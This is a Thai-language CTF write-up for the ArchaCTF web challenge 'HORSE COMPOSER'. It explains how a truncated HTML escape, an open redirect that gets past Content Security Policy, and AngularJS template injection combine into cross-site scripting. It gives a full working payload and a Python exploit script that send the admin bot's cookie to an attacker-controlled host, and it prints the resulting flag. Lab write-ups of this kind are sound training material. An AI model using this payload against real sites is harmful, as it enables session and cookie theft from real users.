← Back to list

ArchaCTF — HORSE COMPOSER (By Vxmp)

สวัสดีครับ วันนี้ผมจะมาทำ writeup ข้อ HORSE COMPOSER ซึ่งอยู่ในระดับ HARD เป็นโจทย์ประเภท Web จากอีเว้น ArchaCTF

Vxmp · 2026-03-09 16:50 · 0 claps · 2.5 min read
#ctf-writeup #ctf #archa-ctf #web-ctf-writeup
Open on Medium ↗
Wiki topics: 🐾 · Pets & Animals

ArchaCTF — HORSE COMPOSER (By Vxmp)

สวัสดีครับ วันนี้ผมจะมาทำ writeup ข้อ HORSE COMPOSER ซึ่งอยู่ในระดับ HARD เป็นโจทย์ประเภท Web จากอีเว้น ArchaCTF

มี Developer คนนึงได้ทำการพัฒนาเว็ปไซต์ที่ป้องกันการโดน XSS โดยเฉพาะเนื่องจากเขาเคยโดน Hacker โจมตีเว็ปไซต์ของเขาด้วยช่องโหว่โดยนี้ Developer คนนี้เกิดอาหารแค้นและได้เข้าสู่ Flow State และได้ Vibe Coding จนเว็ปไซต์ของเขาสำหรับ จงแฮกเว็ปไซต์ของ Developer คนนี้และขโมย Flag มาให้ได้ Hint: ฉันอยากเป็น Cybersecurity researcher จังเลยว่าแต่ขั้นตอนแรกฉันต้องเอาช่องโหว่ และ เทคนิคอะไรที่เจอไป Search ใน Google เอ่ยย Hint 2: ทำไมฉันใช้ Ai solve ข้อนี้ไม่ได้ซักทีมันน่าแปลกจริงๆ แต่ว่า Hint แรกฉันก็บอกไปแล้วน่ะ ใน Blog Post Medium มีบทความอะไรที่น่าสนใจเกี่ยวกับการใช้วิธี csp bypass via R** ทีหลังอย่าเอา Ai มา Solve อีกน่ะ 😡

OVERVIEW

โจทย์นี้เป็น Client-Side XSS challenge ที่พยายามป้องกันการโจมตีด้วย Content Security Policy (CSP) และมี admin bot (Puppeteer) ที่จะเข้ามาเปิด payload ของเรา พร้อม cookie ที่มี flag อยู่

เป้าหมายของโจทย์คือ

ทำ CSP bypass → XSS → steal admin cookie

Hints ของโจทย์บอกอย่างชัดเจนว่า:

  • ต้องใช้ CSP bypass
  • เทคนิคเกี่ยวกับ Redirect

ซึ่งนำไปสู่เทคนิคที่เรียกว่า

CSP Bypass via Open Redirect

Recon phase

เริ่มจากดูหน้าเว็บด้วยการ

curl -si http://10.88.128.38

เราจะพบ header ที่สำคัญ

Content-Security-Policy:
default-src 'self';
script-src 'self' 'unsafe-eval'
https://cdnjs.cloudflare.com/ajax/libs/html-minifier/4.0.0/htmlminifier.min.js;
style-src 'self' 'unsafe-inline' https://fonts.googleapis.com;
object-src 'none';
font-src 'self' https://fonts.googleapis.com https://fonts.gstatic.com;

ข้อสังเกต

Allowed Scripts

‘self’ cdnjs.cloudflare.com/…/htmlminifier.min.js

ดังนั้น script จาก domain อื่นโหลดไม่ได้

ตัวอย่างที่โดน block เช่น <script src=”http://attacker/x.js"></script>

Sourcecode analysis

หลังจาก extract sourceด้วยการ unzip เราจะมีไฟล์สำคัญ3ไฟล์ นั้นก็คือ

  • index.js
  • bot.js
  • public/js/main.js

ภาพของการ extract fileจาก web-hard.zip

ภาพของการ extract fileจาก web-hard.zip

เมื่อเราดูไฟล์ bot.js

await page.setCookie({
    name: 'flag',
    value: FLAG,
    domain: '127.0.0.1',
    path: '/',
    httpOnly: false,
    secure: false
});

flag ถูก set เป็น cookie

document.cookie = flag=ARCHA{…} และ httpOnly = false

ดังนั้น JavaScript สามารถอ่าน cookie ได้

Bot workflow จะเป็นประมาณนี้:

  1. เปิดเว็บ
  2. ใส่ payload ลง form
  3. กด compress
  4. รอ 5 วินาที
await page.click('#compress');
await sleep(5000);

ดังนั้น payload ต้อง execute ภายใน 5 seconds

index.js ANALYSIS

-Escape Logic Vulnerability-

function escapeHTML(html, length) {
    let escapedHTML = '';
    const maxLength = Math.min(length, html.length);

    for (let i = 0; i < maxLength; i++) {
        if (html[i] === '&') {
            escapedHTML += '&amp;';
        } else if (html[i] === '<') {
            escapedHTML += '&lt;';
        } else if (html[i] === '>') {
            escapedHTML += '&gt;';
        } else if (html[i] === '"') {
            escapedHTML += '&quot;';
        } else if (html[i] === "'") {
            escapedHTML += '&#039;';
        } else {
            escapedHTML += html[i];
        }
    }

    if (length < html.length) {
        escapedHTML += html.slice(length);
    }

    return escapedHTML;
}

bugสำคัญ คือ เฉพาะ ส่วนแรกของ string เท่านั้นที่ถูก escape

[0 → formattedLength] → escaped [formattedLength → end] → NOT escaped

ดังนั้น attacker สามารถทำ payload placed AFTER formattedLength เพื่อ bypass escaping ได้นั่นเอง

-CSP bypass via open redirect-

app.get('/redirect', (req, res) => {
    const { url } = req.query;
    if (url) {
        res.redirect(url);
    }
});

นี่คือ open redirect

/redirect?url=https://evil.com/x.js

Browser flow:

script-src ‘self’ ↓ load /redirect (allowed because self) ↓ 302 redirect ↓ evil script loaded

เอาง่ายๆ มันคือเทคนิค CSP bypass via open redirect

PAYLOAD STRATEGY

step

inject js -> bypass CSP -> execute code -> exfiltrate cookie

เราจะใช้ CSP Bypass Script Load เป็น

<script src="/redirect?url=https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.8.3/angular.min.js"></script>

เหตุผลคือ cdnjs.cloudflare.com ถูก whitelist อยู๋แล้ว

เราจะโหลด Angular แล้วใช้ Angular template injection

{{[].pop.constructor('JS CODE')()}}

Angular expression สามารถเรียก Function constructor และเนื่องจาก CSP มี ‘unsafe-eval’ จึง execute code ได้นั่นเองครับ

exploit payload จะเป็นแบบนี้:

<script src="/redirect?url=https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.8.3/angular.min.js"></script>
<div ng-app>
{{[].pop.constructor('window.location="http://ATTACKER:8000/?flag="+btoa(document.cookie)')()}}
</div>

เพื่อให้ payload ไม่ถูก escape เราต้องทำให้ formattedLength < html.length โดย padding new line

html_content = f'<textarea>{"\n" * len(payload)}</textarea>{payload}'

ผลก็คือ payload อยู่หลัง slice() จึงไม่ถูก escape

import requests
import sys

TARGET_URL = "IPแล็บ"
ATTACKER_IP = sys.argv[1]

payload = (
'<script src="/redirect?url=https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.8.3/angular.min.js"></script>'
'<div ng-app>{{[].pop.constructor("window.location=\\"http://'+ATTACKER_IP+':8000/?flag=\\"+btoa(document.cookie)")()}}</div>'
)

html_content = f'<textarea>{"\n"*len(payload)}</textarea>{payload}'

requests.post(
    f"{TARGET_URL}/share",
    json={"html": html_content}
)

อย่าลืมเปิด http serverด้วยนะครับ

python3 -m http.server 8000

เมื่อ bot เปิด payload cookie ถูกส่งมา

GET /?flag=ZmxhZz1BUkNIQXthYmJiODk3YWUxNzYyMDNmYjNkNDdlN2UwN2IzMjk2Nn0=

decode ได้เป็น

flag=ARCHA{abbb897ae176203fb3d47e7e07b32966}

ดังนั้น flagข้อนี้คือ

ARCHA{abbb897ae176203fb3d47e7e07b32966}

Writeup by:

Vxmp

Discord: Vxmpi_.

DropCTF: Cyanide (Top1)


메타데이터
post_id
f7a44f6cd54c
slug
archactf-horse-composer-by-vxmp-f7a44f6cd54c
url
https://medium.com/@Vxmp_/archactf-horse-composer-by-vxmp-f7a44f6cd54c
canonical_url
https://medium.com/@Vxmp_/archactf-horse-composer-by-vxmp-f7a44f6cd54c
author_url
https://medium.com/@Vxmp_
status
ok
fetched_at
2026-06-13 07:35:29